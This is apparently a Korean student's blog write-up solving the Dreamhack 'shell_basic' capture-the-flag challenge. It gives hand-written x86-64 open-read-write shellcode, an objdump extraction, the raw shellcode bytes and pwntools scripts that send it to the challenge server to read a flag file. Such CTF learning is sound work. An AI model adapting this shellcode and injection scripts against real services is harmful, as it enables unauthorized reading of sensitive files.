입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.
main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.
flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
execve 시스템 콜을 사용하지 못하는 것으로 보아 orw
셸코드를 작성해서 /home/shell_basic/flag_name_is_loooooong
에 있는 flag
파일을 읽어야 하는 문제같다.
일단 시스템 해킹 문제를 처음 풀어보기 때문에 드림핵 강의에서 배웠던 그대로 풀어봤다.
heun@heun-virtual-machine:~/0925$ vi shell_basic.S
shell_basic.S 을 만들어서 어셈블리 코드를 작성했다.
한 문단씩 살펴보겠다.
/home/shell_basic/flag_name_is_loooooong을 아스키 코드로 변환한 것이다.여기서 리틀 엔디안 방법을 사용하면
676e6f6f6f6f6f6f6c5f73695f656d616e5f67616c662f63697361625f6c6c6568732f656d6f682f 이다.
이것을 스택에 push
해서 위치시킬건데 스택에는 8 바이트
단위로만 값을 push 할 수 있으므로 8바이트씩 나눠서 push 했다.
그리고 rdi
가 위의 것을 가리키기 위해 mov
를 사용해 rsp
(스택 포인터)를 rdi
로 옮긴다.
O_RDONLY는 0이므로, rsi는 0으로 설정한다.
xor
을 사용해서 0을 설정 할 것이므로 자기 자신을 xor 한다.
파일을 읽을 때 mode 는 의미가 없으므로 rdx 는 0으로 설정한다.
이것도 마찬가지로 자기 자신을 xor 해서 0이 되도록 한다.
마지막으로 rax
를 open
의 syscall
값인 2
로 설정한다.
open(filename, flags, mode)에서 각각 첫 번째, 두 번째, 세 번째 인자는 rdi, rsi, rdx 레지스터 값이 사용된다.
syscall의 반환 값은 rax로 저장된다.
따라서 open으로 획득한 /home/shell_basic/flag_name_is_loooooong의 fd
는 rax에 저장된다.
read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입한다.
buf는 스택에 만들 것이므로 rsi에 rsp를 대입하고, 파일에서 read할 크기만큼 rsi에서 빼주고
rdx를 파일에서 read할 크기만큼 설정해준다.
read
시스템콜을 호출하기 위해서 rax
를 0
으로 설정한다.
출력은 stdout
(일반 출력)으로 할 것이므로, rdi를 0x1
로 설정한다.
rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.
write
시스템콜을 호출하기 위해서 rax
를 1
로 설정한다.
이제 작성한 어셈블리 코드를 스켈레톤 코드
에 넣는 방식으로 c 파일을 만들었다.
heun@heun-virtual-machine:~/0925$ vi orw.c
// File name: orw.c
// Compile Option: gcc -o orw orw -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x0\n"
"mov rax, 0x676e6f6f6f6f6f6f\n"
"push rax\n"
"mov rax, 0x6c5f73695f656d61\n"
"push rax\n"
"mov rax, 0x6e5f67616c662f63\n"
"push rax\n"
"mov rax, 0x697361625f6c6c65\n"
"push rax\n"
"mov rax, 0x68732f656d6f682f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/home/shell_basic/flag_name_is_loooooong'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 0x2 # rax = 2 ; syscall_open\n"
"syscall # open('/home/shell_basic/flag_name_is_loooooong', RD_ONLY, NULL)\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"mov rdi, 1 # rdi = 1 ; rd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
이제 orw.c를 컴파일하고 objdump
로 셸코드를 추출해야 한다.
heun@heun-virtual-machine:~/0925$ gcc -o orw orw.c -masm=intel
heun@heun-virtual-machine:~/0925$ objdump -d orw
orw: file format elf64-x86-64
Disassembly of section .init:
0000000000001000 <_init>:
1000: f3 0f 1e fa endbr64
1004: 48 83 ec 08 sub $0x8,%rsp
1008: 48 8b 05 d9 2f 00 00 mov 0x2fd9(%rip),%rax # 3fe8 <__gmon_start__@Base>
100f: 48 85 c0 test %rax,%rax
1012: 74 02 je 1016 <_init+0x16>
1014: ff d0 call *%rax
1016: 48 83 c4 08 add $0x8,%rsp
101a: c3 ret
Disassembly of section .plt:
0000000000001020 <.plt>:
1020: ff 35 a2 2f 00 00 push 0x2fa2(%rip) # 3fc8 <_GLOBAL_OFFSET_TABLE_+0x8>
1026: f2 ff 25 a3 2f 00 00 bnd jmp *0x2fa3(%rip) # 3fd0 <_GLOBAL_OFFSET_TABLE_+0x10>
102d: 0f 1f 00 nopl (%rax)
Disassembly of section .plt.got:
0000000000001030 <__cxa_finalize@plt>:
1030: f3 0f 1e fa endbr64
1034: f2 ff 25 bd 2f 00 00 bnd jmp *0x2fbd(%rip) # 3ff8 <__cxa_finalize@GLIBC_2.2.5>
103b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
Disassembly of section .text:
0000000000001040 <_start>:
1040: f3 0f 1e fa endbr64
1044: 31 ed xor %ebp,%ebp
1046: 49 89 d1 mov %rdx,%r9
1049: 5e pop %rsi
104a: 48 89 e2 mov %rsp,%rdx
104d: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp
1051: 50 push %rax
1052: 54 push %rsp
1053: 45 31 c0 xor %r8d,%r8d
1056: 31 c9 xor %ecx,%ecx
1058: 48 8d 3d 4b 01 00 00 lea 0x14b(%rip),%rdi # 11aa <main>
105f: ff 15 73 2f 00 00 call *0x2f73(%rip) # 3fd8 <__libc_start_main@GLIBC_2.34>
1065: f4 hlt
1066: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1)
106d: 00 00 00
0000000000001070 <deregister_tm_clones>:
1070: 48 8d 3d 99 2f 00 00 lea 0x2f99(%rip),%rdi # 4010 <__TMC_END__>
1077: 48 8d 05 92 2f 00 00 lea 0x2f92(%rip),%rax # 4010 <__TMC_END__>
107e: 48 39 f8 cmp %rdi,%rax
1081: 74 15 je 1098 <deregister_tm_clones+0x28>
1083: 48 8b 05 56 2f 00 00 mov 0x2f56(%rip),%rax # 3fe0 <_ITM_deregisterTMCloneTable@Base>
108a: 48 85 c0 test %rax,%rax
108d: 74 09 je 1098 <deregister_tm_clones+0x28>
108f: ff e0 jmp *%rax
1091: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
1098: c3 ret
1099: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
00000000000010a0 <register_tm_clones>:
10a0: 48 8d 3d 69 2f 00 00 lea 0x2f69(%rip),%rdi # 4010 <__TMC_END__>
10a7: 48 8d 35 62 2f 00 00 lea 0x2f62(%rip),%rsi # 4010 <__TMC_END__>
10ae: 48 29 fe sub %rdi,%rsi
10b1: 48 89 f0 mov %rsi,%rax
10b4: 48 c1 ee 3f shr $0x3f,%rsi
10b8: 48 c1 f8 03 sar $0x3,%rax
10bc: 48 01 c6 add %rax,%rsi
10bf: 48 d1 fe sar %rsi
10c2: 74 14 je 10d8 <register_tm_clones+0x38>
10c4: 48 8b 05 25 2f 00 00 mov 0x2f25(%rip),%rax # 3ff0 <_ITM_registerTMCloneTable@Base>
10cb: 48 85 c0 test %rax,%rax
10ce: 74 08 je 10d8 <register_tm_clones+0x38>
10d0: ff e0 jmp *%rax
10d2: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)
10d8: c3 ret
10d9: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
00000000000010e0 <__do_global_dtors_aux>:
10e0: f3 0f 1e fa endbr64
10e4: 80 3d 25 2f 00 00 00 cmpb $0x0,0x2f25(%rip) # 4010 <__TMC_END__>
10eb: 75 2b jne 1118 <__do_global_dtors_aux+0x38>
10ed: 55 push %rbp
10ee: 48 83 3d 02 2f 00 00 cmpq $0x0,0x2f02(%rip) # 3ff8 <__cxa_finalize@GLIBC_2.2.5>
10f5: 00
10f6: 48 89 e5 mov %rsp,%rbp
10f9: 74 0c je 1107 <__do_global_dtors_aux+0x27>
10fb: 48 8b 3d 06 2f 00 00 mov 0x2f06(%rip),%rdi # 4008 <__dso_handle>
1102: e8 29 ff ff ff call 1030 <__cxa_finalize@plt>
1107: e8 64 ff ff ff call 1070 <deregister_tm_clones>
110c: c6 05 fd 2e 00 00 01 movb $0x1,0x2efd(%rip) # 4010 <__TMC_END__>
1113: 5d pop %rbp
1114: c3 ret
1115: 0f 1f 00 nopl (%rax)
1118: c3 ret
1119: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
0000000000001120 <frame_dummy>:
1120: f3 0f 1e fa endbr64
1124: e9 77 ff ff ff jmp 10a0 <register_tm_clones>
0000000000001129 <run_sh>:
1129: 6a 00 push $0x0
112b: 48 b8 6f 6f 6f 6f 6f movabs $0x676e6f6f6f6f6f6f,%rax
1132: 6f 6e 67
1135: 50 push %rax
1136: 48 b8 61 6d 65 5f 69 movabs $0x6c5f73695f656d61,%rax
113d: 73 5f 6c
1140: 50 push %rax
1141: 48 b8 63 2f 66 6c 61 movabs $0x6e5f67616c662f63,%rax
1148: 67 5f 6e
114b: 50 push %rax
114c: 48 b8 65 6c 6c 5f 62 movabs $0x697361625f6c6c65,%rax
1153: 61 73 69
1156: 50 push %rax
1157: 48 b8 2f 68 6f 6d 65 movabs $0x68732f656d6f682f,%rax
115e: 2f 73 68
1161: 50 push %rax
1162: 48 89 e7 mov %rsp,%rdi
1165: 48 31 f6 xor %rsi,%rsi
1168: 48 31 d2 xor %rdx,%rdx
116b: 48 c7 c0 02 00 00 00 mov $0x2,%rax
1172: 0f 05 syscall
1174: 48 89 c7 mov %rax,%rdi
1177: 48 89 e6 mov %rsp,%rsi
117a: 48 83 ee 30 sub $0x30,%rsi
117e: 48 c7 c2 30 00 00 00 mov $0x30,%rdx
1185: 48 c7 c0 00 00 00 00 mov $0x0,%rax
118c: 0f 05 syscall
118e: 48 c7 c7 01 00 00 00 mov $0x1,%rdi
1195: 48 c7 c0 01 00 00 00 mov $0x1,%rax
119c: 0f 05 syscall
119e: 48 31 ff xor %rdi,%rdi
11a1: 48 c7 c0 3c 00 00 00 mov $0x3c,%rax
11a8: 0f 05 syscall
.
.
.
여기서 필요한 셸코드만 추출하면 된다.
owr가 실행되는 부분인 run_sh
만 추출하면 될 것이다.
\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05
직접 추출한 셸 코드이다.
하지만 아무것도 나오지 않는다. 그래서 검색을 해보니 셸코드로 넘기는게 아니라 pwntools
로 넘겨야 한다는 것을 알았다. 따라서 파이썬을 사용했다.
pwntools
는 인터넷에 검색하면 많이 나와있어서 하나씩 보면서 따라 작성했다.
from pwn import *
context.arch = "amd64"
p = remote("host3.dreamhack.games", 11760)
shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05"
p.sendlineafter('shellcode: ', shellcode)
print(p.recv())
context.arch
로 현재 아키텍처를 지정했다.
remote
함수는 원격 서버를 대상으로 실제 익스플로잇을 작동시킬때 사용하는 함수이다.
shellcode
에 아까 추출한 셸코드를 저장했다.
sendlineafter
로 해당 shellcode를 전달했다.
recv
함수는 프로그램이 출력하는 값을 봐야할 때 사용한다.
파일을 실행했더니 flag
를 구했다 !!
이 방법은 pwntools - shellcraft
를 이용했다.
쉘크래프트는 시스템콜의 어셈블리어 코드를 만들어 준다.
orw 셸코드를 만들어야 하므로 open, read, write syscall 해야한다.
from pwn import *
p = remote("host3.dreamhack.games", 11760)
context.arch = "amd64"
r = "/home/shell_basic/flag_name_is_loooooong"
shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())
분석하자면
from pwn import *
p = remote("host3.dreamhack.games", 11760)
context.arch = "amd64"
r = "/home/shell_basic/flag_name_is_loooooong"
여기까지는 1 방법 때 사용한 코드와 같다.
shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())
shellcraft 는 시스템콜을 쉽게 사용하기 위한 클래스이다.
shellcraft.open
을 통해 미리 지정한 파일을 열고, shellcraft.read
로 이를 읽어들여 shellcraft.writ
로 콘솔에 출력하는 기능을 수행한다.
여기서 저번 드림핵 강의 때 공부했던걸 복습해보자면
syscall의 반환 값은 rax로 저장된다.shellcode += shellcraft.read('rax', 'rsp', 0x100)
따라서 open으로 획득한 r 의 fd는 rax에 저장된다.
read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입한다.
buf에 rsp가 들어가는 이유는 buf
의 주소가 rsp
의 현재 위치이기 때문이다.
shellcode += shellcraft.write(1, 'rsp', 0x100)
출력은 stdout
(일반 출력)으로 할 것이므로, rdi를 0x1
로 설정한다.
rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.
print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())
asm
함수를 사용해서 셸코드를 어셈블리어로 변환한 후에 서버로 전송하고 결과값을 받아와서 출력한다.
파일을 실행했더니 flag
를 구했다 !!
(Beginner 문제지만 포너블 입문자인 나한텐 너무너무 어려웠다.....ㅜㅡㅜ)